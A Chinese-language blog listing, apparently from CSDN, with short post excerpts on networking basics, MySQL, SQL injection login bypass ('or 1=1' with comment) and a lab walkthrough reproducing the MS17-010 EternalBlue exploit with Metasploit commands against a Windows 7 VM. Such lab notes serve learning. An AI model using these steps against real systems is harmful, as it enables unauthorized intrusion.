- 博客(10)
- 收藏
- 关注
原创 SQL注入
是注释的意思,那么是不是后面的都被注释掉了,所以该语句的意思是不是就变成了如果USER等于我输入的值或者1=1那么就登录成功,因为1=1恒成立,那么是不是不管我输入什么都能登录成功,甚至不需要输入密码。盲注入盲注不会展现任何数据库报错内容,它是依据构造真或假的问题对数据库进行“提问”,注入方式主要有两种基于布尔值与基于时间。网站被挂马,传播恶意软件修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。换言之,我服务器明明想要执行的是你用户提交的一个数据,可是你提交了一个数据。...
2022-07-25 19:38:54
2828
原创 MYSQL基础知识(网络安全版)
*显示所有数据库*/usedatabase_name(表名)/*进入该表,后续操作针对该表进行*/showtables/*显示表单信息*/showcolumnsfrom表名;/*显示表字段结构详细信息*//*显示数据表的详细索引信息,包括primarykey(主键)*/
2022-07-15 17:27:21
765
原创 网络地址转换
网络迅速发展,IPv4地址不敷使用IPv4地址分配不均私有地址用户需要访问InternetNAT提供私有地址到公有地址的转换任何组织都可以任意使用私有地址空间私有地址在Internet上无法路由如果采用私有地址的网络需要访问Internet,必须在出口处部署NAT设备私网和公网的连接需要NAT设备。 当需要将信息从私网传出去到公网时,经过NAT 设备时会将数据包中私源网地址转换为公网地址进行传输,传输出去会进行学习进入NAT table中,当再传输进来则会查表转换为私网地址。配置ACL→用于判断哪些数据包的
2022-07-12 12:48:05
1085
原创 VLAN配置
首先我们得知道广播风暴,即设备发出的广播帧在广播域中传播,占用网络带宽,降低设备性能。而路由器能够隔离广播,减小广播域范围。但是路由器的成本太高,用于隔离广播不现实。VLAN是一种比较新的技术,工作在OSI参考模型的第2层和第3层,一个VLAN就是一个广播域,二层交换机使用VLAN 可以隔离广播,从而减小广播域范围。VLAN的优点:1.有效控制广播域范围2.增强局域网的安全性3.灵活构建虚拟工作组VLAN的类型:基于端口的VLAN(将端口和VLAN匹配)基于协议的VLAN(将协议和VLAN匹配)基于子
2022-07-06 20:01:09
5042
原创 浅学计算机网络基础笔记
一组自治计算机互联的集合包括资源共享、综合信息服务、分布式处理和负载均衡局域网(LAN):由用户自行建设,使用私有地址组建的网络城域网(MAN):由运营商或大规模企业建设,连接城市范围的网络广域网 (WAN) :由运营商建设,连接城域网范围的网络网络设备连接排列的方式总线型拓扑:所有设备共享一条公共线路,线路中断会导致所有设备中断通讯环型拓扑:所有设备共享一条环型总线,有一定冗余性星型拓扑:中央节点故障会导致全网中断,其他节点都与中央节点直接相连,某条线路中断不会影响其他节点树型拓扑(最常用):优点:结
2022-07-05 19:55:32
713
原创 Windows 7 ms17-010永恒之蓝漏洞复现
复现ms17-010漏洞环境:1.进入框架:msfconsole2.使用search命令查找相关漏洞: search ms17-0103.使用use进入模块:use exploit/windows/smb/ms17_010_eternalblue4.设置本机地址:set lhost 192.168.238.130(输入自己本机的IP地址即kali虚拟机地址)5. 设置靶机地址:set rhost 192.168.238.128(输入靶机的IP地址即Windows 7虚拟机地址)注意靶机地址和攻
2022-07-04 19:39:19
2291
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人